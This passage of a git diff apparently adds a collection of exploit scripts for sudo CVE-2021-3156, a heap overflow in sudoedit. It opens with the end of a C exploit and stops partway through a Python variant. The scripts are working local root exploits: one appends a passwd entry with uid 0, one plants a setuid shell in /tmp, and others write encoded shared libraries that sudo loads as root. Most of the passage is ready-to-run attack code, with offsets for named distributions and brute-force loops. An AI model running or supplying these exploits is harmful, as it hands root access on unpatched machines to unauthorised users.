strcat(overflow, "\\"); - - // Overwrite the 'files' service_user struct's name with the path of our shellcode library. - // The backslashes write nulls which are needed to dodge a couple of crashes. - char* envp[] = { - overflow, - "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", - "XXXXXXX\\", - "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", - "\\", "\\", "\\", "\\", "\\", "\\", "\\", - "x/x\\", - "Z", - messages, - telephone, - measurement, - NULL}; - - // Invoke sudoedit with our argv & envp. - - int des_p[2]; - if(pipe(des_p) == -1){ - - puts("Error .. pipe \n"); - return -1; - } - - if(fork() == 0) //first fork - { - close(STDOUT_FILENO); //closing stdout - dup(des_p[1]); //replacing stdout with pipe write - close(des_p[0]); //closing pipe read - write(des_p[1],command, strlen(command)); - close(des_p[1]); - exit(1); - } - - if(fork()==0){ - close(STDIN_FILENO); //closing stdin - dup(des_p[0]); //replacing stdin with pipe read - close(des_p[1]); //closing pipe write - close(des_p[0]); - - execve("/usr/bin/sudoedit", sudoedit_argv, envp); - perror("execvp of stdread failed"); - exit(1); - } - close(des_p[0]); - close(des_p[1]); - wait(0); - wait(0); -} diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py b/cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py new file mode 100644 index 0000000000000000000000000000000000000000..70dfce6e707127dd3dc80389a993b396262bbec1 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py @@ -0,0 +1,193 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 on CentOS 7 by sleepya + +Simplified version of exploit_userspec.py for easy understanding. +- Remove all checking code +- Fixed all offset (no auto finding) + +Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration + +Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing +''' +import os +import sys +import resource +from struct import pack +from ctypes import cdll, c_char_p, POINTER + +SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit" + +PASSWD_PATH = '/etc/passwd' +APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n"; + +#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled +STACK_ADDR_PAGE = 0x7fffe5d35000 + +libc = cdll.LoadLibrary("libc.so.6") +libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + +def execve(filename, cargv, cenvp): + libc.execve(filename, cargv, cenvp) + +def spawn_raw(filename, cargv, cenvp): + pid = os.fork() + if pid: + # parent + _, exit_code = os.waitpid(pid, 0) + return exit_code + else: + # child + execve(filename, cargv, cenvp) + exit(0) + +def spawn(filename, argv, envp): + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(env))(*env) + return spawn_raw(filename, cargv, cenvp) + + +resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) + +# expect large hole for cmnd size is correct +TARGET_CMND_SIZE = 0x1b50 + +argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ] + +SA = STACK_ADDR_PAGE + +ADDR_REFSTR = pack('var chunk (get freed) + '\x21', '', '', '', '', '', '', + ADDR_PRIV[:6], '', # pointer to privilege + ADDR_CMND[:6], '', # pointer to cmndspec + ADDR_MEMBER[:6], '', # pointer to member + + # fake def->binding (list head) (get freed) + '\x21', '', '', '', '', '', '', + '', '', '', '', '', '', '', '', # members.first + 'A'*0x10 + # members.last, pad + + # userspec chunk (get freed) + '\x41', '', '', '', '', '', '', # chunk metadata + '', '', '', '', '', '', '', '', # entries.tqe_next + 'A'*8 + # entries.tqe_prev + '', '', '', '', '', '', '', '', # users.tqh_first + ADDR_MEMBER[:6]+'', '', # users.tqh_last + '', '', '', '', '', '', '', '', # privileges.tqh_first + ADDR_PRIV[:6]+'', '', # privileges.tqh_last + '', '', '', '', '', '', '', '', # comments.stqh_first + + # member chunk + '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any) + 'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any) + ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string) + 'A'*8 + # member.name (can be any because this object is not freed) + pack('prev->prev->next + "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size + ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack + "A"*8 + # entries.tqe_prev + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first + ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first + + "LC_ALL=C", + "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd + "TZ=:", +] + +ENV_STACK_SIZE_MB = 4 +for i in range(ENV_STACK_SIZE_MB * 1024 / 4): + env.extend(epage) + +# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes +env[-1] = env[-1][:-len(SUDO_PATH)-1-8] + +env.append(None) + +cargv = (c_char_p * len(argv))(*argv) +cenvp = (c_char_p * len(env))(*env) + +# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a" +r, w = os.pipe() +os.dup2(r, 0) +w = os.fdopen(w, 'w') +w.write(APPEND_CONTENT) +w.close() + +null_fd = os.open('/dev/null', os.O_RDWR) +os.dup2(null_fd, 2) + +for i in range(8192): + sys.stdout.write('%d\r' % i) + if i % 8 == 0: + sys.stdout.flush() + exit_code = spawn_raw(SUDO_PATH, cargv, cenvp) + if exit_code == 0: + print("success at %d" % i) + break diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py b/cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py new file mode 100644 index 0000000000000000000000000000000000000000..a5ee3a2476cdb56193939a9abe09111b15b96993 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py @@ -0,0 +1,424 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 with struct defaults overwrite (mailer) by sleepya + +This exploit requires: +- glibc without tcache +- there is defaults line in /etc/sudoers (and at least one of them is allolcated after large hole) +- disable-root-mailer is not set +- /tmp is not mounted with nosuid (need modify SHELL_PATH) + +Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing + +Without glibc tcache, a heap layout rarely contains hole. +The heap overflow vulnerability is triggered after parsing /etc/sudoers. +The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec). + +In the end of set_cmnd() function, there is a call to update_defaults(SET_CMND) function. +It is called update heap buffer overflow. So we can update def_* value by overwriting +struct defatuls (need type=DEFAULTS_CMND and fake binding). + +Tested on: +- CentOS 7 (1.8.23, 1.8.19p2) +- CentOS 6 (1.8.6) +''' +import os +import subprocess +import sys +import resource +import select +import signal +import time +from struct import pack +from ctypes import cdll, c_char_p, POINTER + +SUDO_PATH = b"/usr/bin/sudo" + +SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31) +SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid +PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed + +libc = cdll.LoadLibrary("libc.so.6") +libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + +resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) + +try: + SUID_PATH = os.environ["SUID_PATH"] + print("Using SUID_PATH = %s" % SUID_PATH) +except: + pass + +def create_bin(bin_path): + if os.path.isfile(bin_path): + return # existed + try: + os.makedirs(bin_path[:bin_path.rfind('/')]) + except: + pass + + import base64, zlib + bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs=' + with open(bin_path, 'wb') as f: + f.write(zlib.decompress(base64.b64decode(bin_b64))) + +def create_shell(path, suid_path): + with open(path, 'w') as f: + f.write('#!/bin/sh\n') + f.write('/usr/bin/id >> %s\n' % PWNED_PATH) + f.write('/bin/chown root.root %s\n' % suid_path) + f.write('/bin/chmod 4755 %s\n' % suid_path) + os.chmod(path, 0o755) + +def execve(filename, cargv, cenvp): + libc.execve(filename, cargv, cenvp) + +def spawn_raw(filename, cargv, cenvp): + pid = os.fork() + if pid: + # parent + _, exit_code = os.waitpid(pid, 0) + return exit_code & 0xff7f # remove coredump flag + else: + # child + execve(filename, cargv, cenvp) + exit(0) + +def spawn(filename, argv, envp): + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(envp))(*envp) + # Note: error with backtrace is print to tty directly. cannot be piped or suppressd + r, w = os.pipe() + pid = os.fork() + if not pid: + # child + os.close(r) + os.dup2(w, 2) + execve(filename, cargv, cenvp) + exit(0) + # parent + os.close(w) + # might occur deadlock in heap. kill it if timeout and set exit_code as 6 + # 0.5 second should be enough for execution + sr, _, _ = select.select([ r ], [], [], 0.5) + if not sr: + os.kill(pid, signal.SIGKILL) + _, exit_code = os.waitpid(pid, 0) + if not sr: # timeout, assume dead lock in heap + exit_code = 6 + + r = os.fdopen(r, 'r') + err = r.read() + r.close() + return exit_code & 0xff7f, err # remove coredump flag + +def has_askpass(err): + # 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS' + return 'sudoedit: no askpass program ' in err + +def has_not_permitted_C_option(err): + # 'sudoedit: you are not permitted to use the -C option' + return 'not permitted to use the -C option' in err + +def get_sudo_version(): + proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True) + for line in proc.stdout: + line = line.strip() + if not line: + continue + if line.startswith('Sudo version '): + txt = line[13:].strip() + pos = txt.rfind('p') + if pos != -1: + txt = txt[:pos] + versions = list(map(int, txt.split('.'))) + break + + proc.wait() + return versions + +def check_sudo_version(): + sudo_vers = get_sudo_version() + assert sudo_vers[0] == 1, "Unexpect sudo major version" + assert sudo_vers[1] == 8, "Unexpect sudo minor version" + return sudo_vers[2] + +def check_mailer_root(): + if not os.access(SUDO_PATH, os.R_OK): + print("Cannot determine disble-root-mailer flag") + return True + return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1 + +def find_cmnd_size(): + argv = [ b"sudoedit", b"-A", b"-s", b"", None ] + env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ] + + size_min, size_max = 0xc00, 0x2000 + found_size = 0 + while size_max - size_min > 0x10: + curr_size = (size_min + size_max) // 2 + curr_size &= 0xfff0 + print("\ncurr size: 0x%x" % curr_size) + argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\' + exit_code, err = spawn(SUDO_PATH, argv, env) + print("\nexit code: %d" % exit_code) + print(err) + if exit_code == 256 and has_askpass(err): + # need pass. no crash. + # fit or almost fit + if found_size: + found_size = curr_size + break + # maybe almost fit. try again + found_size = curr_size + size_min = curr_size + size_max = curr_size + 0x20 + elif exit_code in (7, 11): + # segfault. too big + if found_size: + break + size_max = curr_size + else: + assert exit_code == 6 + # heap corruption. too small + size_min = curr_size + + if found_size: + return found_size + assert size_min == 0x2000 - 0x10 + # old sudo version and file is in /etc/sudoers.d + print('has 2 holes. very large one is bad') + + size_min, size_max = 0xc00, 0x2000 + for step in (0x400, 0x100, 0x40, 0x10): + found = False + env[0] = b'A'*(7+0x4010+0x110-1+step+0x100) + for curr_size in range(size_min, size_max, step): + argv[-2] = b"A"*(curr_size-0x10)+b'\\' + exit_code, err = spawn(SUDO_PATH, argv, env) + print("\ncurr size: 0x%x" % curr_size) + print("\nexit code: %d" % exit_code) + print(err) + if exit_code in (7, 11): + size_min = curr_size + found = True + elif found: + print("\nsize_min: 0x%x" % size_min) + break + assert found, "Cannot find cmnd size" + size_max = size_min + step + + # TODO: verify + return size_min + +def find_defaults_chunk(argv, env_prefix): + offset = 0 + pos = len(env_prefix) - 1 + env = env_prefix[:] + env.extend([ b"LC_ALL=C", b"TZ=:", None ]) + # overflow until sudo crash without asking pass + # crash because of defaults.entries.next is overwritten + while True: + env[pos] += b'A'*0x10 + exit_code, err = spawn(SUDO_PATH, argv, env) + print("\ncurr offset: 0x%x" % offset) + print("exit code: %d" % exit_code) + print(err) + # 7 bus error, 11 segfault + if exit_code in (7, 11) and not has_not_permitted_C_option(err): + # found it + env[pos] = env[pos][:-0x10] + break + offset += 0x10 + + # verify if it is defaults + env = env[:-3] + env[-1] += b'\x41\\' # defaults chunk size 0x40 + env.extend([ + b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', + (b'' if has_tailq else b'A'*8) + # prev if no tailq + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next + (b'A'*8 if has_tailq else b'') + # entries.prev + pack("binding (list head)) + b'A'*8 + # chunk size + b'', b'', b'', b'', b'', b'', b'', b'', # members.first + ADDR_MEMBER_LAST[:6], b'', # members.last + b'A'*8 + # member.name (can be any because this object is freed as list head (binding)) + pack(' 1 else None + offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None + + if cmnd_size is None: + cmnd_size = find_cmnd_size() + print("found cmnd size: 0x%x" % cmnd_size) + + argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ] + + env_prefix = [ b'A'*(7+0x4010+0x110) ] + + if offset_defaults is None: + offset_defaults = find_defaults_chunk(argv, env_prefix) + assert offset_defaults != -1 + + print('') + print("cmnd size: 0x%x" % cmnd_size) + print("offset to defaults: 0x%x" % offset_defaults) + + argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ] + env = create_env(offset_defaults) + run_until_success(argv, env) + +if __name__ == "__main__": + # global intialization + assert check_mailer_root(), "root mailer is disabled" + sudo_ver = check_sudo_version() + DEFAULTS_CMND = 269 + if sudo_ver >= 15: + MATCH_ALL = 284 + elif sudo_ver >= 13: + MATCH_ALL = 282 + elif sudo_ver >= 7: + MATCH_ALL = 280 + elif sudo_ver < 7: + MATCH_ALL = 279 + DEFAULTS_CMND = 268 + + has_tailq = sudo_ver >= 9 + has_file = sudo_ver >= 19 # has defaults.file pointer + main() diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss.py new file mode 100644 index 0000000000000000000000000000000000000000..0b1d0f532a034b896ce463078b7a73d42d1f913d --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss.py @@ -0,0 +1,261 @@ +#!/usr/bin/python3 +''' +Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya + +This exploit requires: +- glibc with tcache +- nscd service is not running + +Tested on: +- Ubuntu 18.04 +- Ubuntu 20.04 +- Debian 10 +- CentOS 8 +''' +import os +import subprocess +import sys +from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p + +SUDO_PATH = b"/usr/bin/sudo" + +libc = cdll.LoadLibrary("libc.so.6") + +# don't use LC_ALL (6). it override other LC_ +LC_CATS = [ + b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY", + b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS", + b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION" +] + +def check_is_vuln(): + # below commands has no log because it is invalid argument for both patched and unpatched version + # patched version, error because of '-s' argument + # unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment + r, w = os.pipe() + pid = os.fork() + if not pid: + # child + os.dup2(w, 2) + execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ]) + exit(0) + # parent + os.close(w) + os.waitpid(pid, 0) + r = os.fdopen(r, 'r') + err = r.read() + r.close() + + if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err: + return True + assert err.startswith('usage: ') or "invalid mode flags " in err, err + return False + +def create_libx(name): + so_path = 'libnss_'+name+'.so.2' + if os.path.isfile(so_path): + return # existed + + so_dir = 'libnss_' + name.split('/')[0] + if not os.path.exists(so_dir): + os.makedirs(so_dir) + + import zlib + import base64 + + libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3' + with open(so_path, 'wb') as f: + f.write(zlib.decompress(base64.b64decode(libx_b64))) + #os.chmod(so_path, 0o755) + +def check_nscd_condition(): + if not os.path.exists('/var/run/nscd/socket'): + return True # no socket. no service + + # try connect + import socket + sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + try: + sk.connect('/var/run/nscd/socket') + except: + return True + else: + sk.close() + + with open('/etc/nscd.conf', 'r') as f: + for line in f: + line = line.strip() + if not line.startswith('enable-cache'): + continue # comment + service, enable = line.split()[1:] + # in fact, if only passwd is enabled, exploit with this method is still possible (need test) + # I think no one enable passwd but disable group + if service == 'passwd' and enable == 'yes': + return False + # group MUST be disabled to exploit sudo with nss_load_library() trick + if service == 'group' and enable == 'yes': + return False + + return True + +def get_libc_version(): + output = subprocess.check_output(['ldd', '--version'], universal_newlines=True) + for line in output.split('\n'): + if line.startswith('ldd '): + ver_txt = line.rsplit(' ', 1)[1] + return list(map(int, ver_txt.split('.'))) + return None + +def check_libc_version(): + version = get_libc_version() + assert version, "Cannot detect libc version" + # this exploit only works which glibc tcache (added in 2.26) + return version[0] >= 2 and version[1] >= 26 + +def check_libc_tcache(): + libc.malloc.argtypes = (c_int,) + libc.malloc.restype = c_void_p + libc.free.argtypes = (c_void_p,) + # small bin or tcache + size1, size2 = 0xd0, 0xc0 + mems = [0]*32 + # consume all size2 chunks + for i in range(len(mems)): + mems[i] = libc.malloc(size2) + + mem1 = libc.malloc(size1) + libc.free(mem1) + mem2 = libc.malloc(size2) + libc.free(mem2) + for addr in mems: + libc.free(addr) + return mem1 != mem2 + +def get_service_user_idx(): + '''Parse /etc/nsswitch.conf to find a group entry index + ''' + idx = 0 + found = False + with open('/etc/nsswitch.conf', 'r') as f: + for line in f: + if line.startswith('#'): + continue # comment + line = line.strip() + if not line: + continue # empty line + words = line.split() + if words[0] == 'group:': + found = True + break + for word in words[1:]: + if word[0] != '[': + idx += 1 + + assert found, '"group" database is not found. might be exploitable but no test' + return idx + +def get_extra_chunk_count(target_chunk_size): + # service_user are allocated by calling getpwuid() + # so we don't care allocation of chunk size 0x40 after getpwuid() + # there are many string that size can be varied + # here is the most common + chunk_cnt = 0 + + # get_user_info() -> get_user_groups() -> + gids = os.getgroups() + malloc_size = len("groups=") + len(gids) * 11 + chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 # minimum size is 0x20. don't care here + if chunk_size == target_chunk_size: chunk_cnt += 1 + + # host= (unlikely) + # get_user_info() -> sudo_gethostname() + import socket + malloc_size = len("host=") + len(socket.gethostname()) + 1 + chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 + if chunk_size == target_chunk_size: chunk_cnt += 1 + + # simply parse "networks=" from "ip addr" command output + # another workaround is bruteforcing with number of 0x70 + # policy_open() -> format_plugin_settings() -> + # a value is created from "parse_args() -> get_net_ifs()" with very large buffer + try: + import ipaddress + except: + return chunk_cnt + cnt = 0 + malloc_size = 0 + proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True) + for line in proc.stdout: + line = line.strip() + if not line.startswith('inet'): + continue + if cnt < 2: # skip first 2 address (lo interface) + cnt += 1 + continue; + addr = line.split(' ', 2)[1] + mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask) + malloc_size += addr.index('/') + 1 + len(mask) + cnt += 1 + malloc_size += len("network_addrs=") + cnt - 3 + 1 + chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 + if chunk_size == target_chunk_size: chunk_cnt += 1 + proc.wait() + + return chunk_cnt + +def execve(filename, argv, envp): + libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(envp))(*envp) + + libc.execve(filename, cargv, cenvp) + +def lc_env(cat_id, chunk_len): + name = b"C.UTF-8@" + name = name.ljust(chunk_len - 0x18, b'Z') + return LC_CATS[cat_id]+b"="+name + + +assert check_is_vuln(), "target is patched" +assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26" +assert check_libc_tcache(), "glibc tcache is not found" +assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method" +service_user_idx = get_service_user_idx() +assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx +create_libx("X/X1234") + +# Note: actions[5] can be any value. library and known MUST be NULL +FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ] + +TARGET_OFFSET_START = 0x780 +FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30 +FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last '\\'. stop overwritten + +CHUNK_CMND_SIZE = 0xf0 + +# Allow custom extra_chunk_cnt incase unexpected allocation +# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0 +extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1]) + +argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ] +env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE +# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd) +env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ]) + +# add free chunks that created before target service_user +for i in range(2, service_user_idx+2): + # skip LC_ALL (6) + env.append(lc_env(i if i < 6 else i+1, 0x40)) +if service_user_idx == 0: + env.append(lc_env(2, 0x20)) # for filling hole + +for i in range(11, 11-extra_chunk_cnt, -1): + env.append(lc_env(i, CHUNK_CMND_SIZE)) + +env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer +env.append(b"TZ=:") # shortcut tzset function +# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault +env.append(None) + +execve(SUDO_PATH, argv, env) diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py new file mode 100644 index 0000000000000000000000000000000000000000..07811ae97499d5481a8973816ec6d15483712500 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py @@ -0,0 +1,102 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 on Ubuntu 16.04 by sleepya + +This exploit requires: +- glibc without tcache +- nscd service is not running +- only defaults /etc/nsswitch.conf (need adjust LC_* if changed) + +Below is important struct that MUST be carefully overwritten +- Fake service_user before name_database_entry +- Overwrite only least significant byte of name_database_entry->service to NULL. a servive + pointer point to fake service in overwritten area. + +Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much. + +Tested on: +- Debian 9.13 +''' +import os + +SUDO_PATH = b"/usr/bin/sudo" + +def execve(filename, argv, envp): + from ctypes import cdll, c_char_p, POINTER + + libc = cdll.LoadLibrary("libc.so.6") + libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(env))(*envp) + + libc.execve(filename, cargv, cenvp) + +def create_libx(name): + so_path = 'libnss_'+name+'.so.2' + if os.path.isfile(so_path): + return # existed + + so_dir = 'libnss_' + name.split('/')[0] + if not os.path.exists(so_dir): + os.makedirs(so_dir) + + import zlib + import base64 + + libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3' + with open(so_path, 'wb') as f: + f.write(zlib.decompress(base64.b64decode(libx_b64))) + +def check_nsswitch(): + idx = 0 + found_passwd = False + with open('/etc/nsswitch.conf', 'r') as f: + for line in f: + if line.startswith('#'): + continue # comment + line = line.strip() + if not line: + continue # empty line + words = line.split() + cnt = 0 + for word in words[1:]: + if word[0] != '[': + cnt += 1 + if words[0] == 'group:': + if not found_passwd: + return False + return cnt == 1 + if words[0] == 'passwd:': + if cnt != 1: + return False + found_passwd = True + # TODO: should check all line because they might affect offset + + return False + +assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong' +create_libx("X/X1234") + +TARGET_CMND_SIZE = 0x30 + +argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ] + +env = [ + b"A"*0x5e+b"\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known + b"X/X1234\\", # service_user->name + b"A"*0x2f+b"\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next + "", # overwrite last byte of service pointer to 0, so point back to above + b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0xd0+b";a=a", + b"LC_PAPER=C_gggg.UTF-8@"+b"L"*0x30, + b"LC_NAME=C_gggg.UTF-8@"+b"L"*0x4, + b"LC_TIME=C_gggg.UTF-8@"+b"L"*0x1, + b"LANG=C.UTF-8@"+b"Z"*0xd0, + None, +] + +execve(SUDO_PATH, argv, env) diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py new file mode 100644 index 0000000000000000000000000000000000000000..33605d263eb7c1432addc5a15b33934171b57aa7 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py @@ -0,0 +1,49 @@ +#!/usr/bin/python3 +''' +Exploit for CVE-2021-3156 by sleepya + +Simplified version of exploit_nss.py for easy understanding. +- Remove all checking code +- Remove embeded library +- Manual a number of services before group line + +This exploit requires: +- glibc with tcache +- nscd service is not running +''' +import os + +SUDO_PATH = b"/usr/bin/sudo" + +def execve(filename, argv, envp): + from ctypes import cdll, c_char_p, POINTER + libc = cdll.LoadLibrary("libc.so.6") + libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(envp))(*envp) + + libc.execve(filename, cargv, cenvp) + + +TARGET_OFFSET_START = 0x780 + +FAKE_USER_SERVICE_PART = [ b"\\" ]*0x18 + [ b"X/X1234\\" ] +FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART * 13 +FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last backslash + +argv = [ b"sudoedit", b"-A", b"-s", b"A"*(0xe0)+b"\\", None ] + +env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE +env.extend([ + b"LC_CTYPE=C.UTF-8@"+b'A'*0x28+b";A=", + b"LC_NUMERIC=C.UTF-8@"+b'A'*0xd8, + b"LC_TIME=C.UTF-8@"+b'A'*0x28, + b"LC_COLLATE=C.UTF-8@"+b'A'*0x28, + #b"LC_MONETARY=C.UTF-8@"+b'A'*0x28, # for 3 entries in passwd line + b"LC_IDENTIFICATION=C.UTF-8@"+b'A'*0x78, # for filling holes from freed file buffer + b"TZ=:", + None +]) + +execve(SUDO_PATH, argv, env) diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py new file mode 100644 index 0000000000000000000000000000000000000000..b0acb24499a0f35a519036d36f294e4b035882c8 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py @@ -0,0 +1,107 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 on Ubuntu 14.04 by sleepya + +This exploit requires: +- glibc without tcache +- nscd service is not running +- only defaults /etc/nsswitch.conf (need adjust LC_* if changed) + +Ubuntu 14.04 uses eglibc. A name in name_database_entry and service_user is pointer. +- NULL name_database_entry->next, name_database_entry->service. +- overwite name_database_entry->name with address in VSYSCALL +- overwrite least significant byte of service_user->name to NULL. so a name pointer + points back to overwritten area. + +Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much. + +Tested on: +- Ubuntu 14.04.3 +''' +import os +from struct import pack + +SUDO_PATH = b"/usr/bin/sudo" + +def execve(filename, argv, envp): + from ctypes import cdll, c_char_p, POINTER + + libc = cdll.LoadLibrary("libc.so.6") + libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(env))(*envp) + + libc.execve(filename, cargv, cenvp) + +def create_libx(name): + so_path = 'libnss_'+name+'.so.2' + if os.path.isfile(so_path): + return # existed + + so_dir = 'libnss_' + name.split('/')[0] + if not os.path.exists(so_dir): + os.makedirs(so_dir) + + import zlib + import base64 + + libx_b64 = 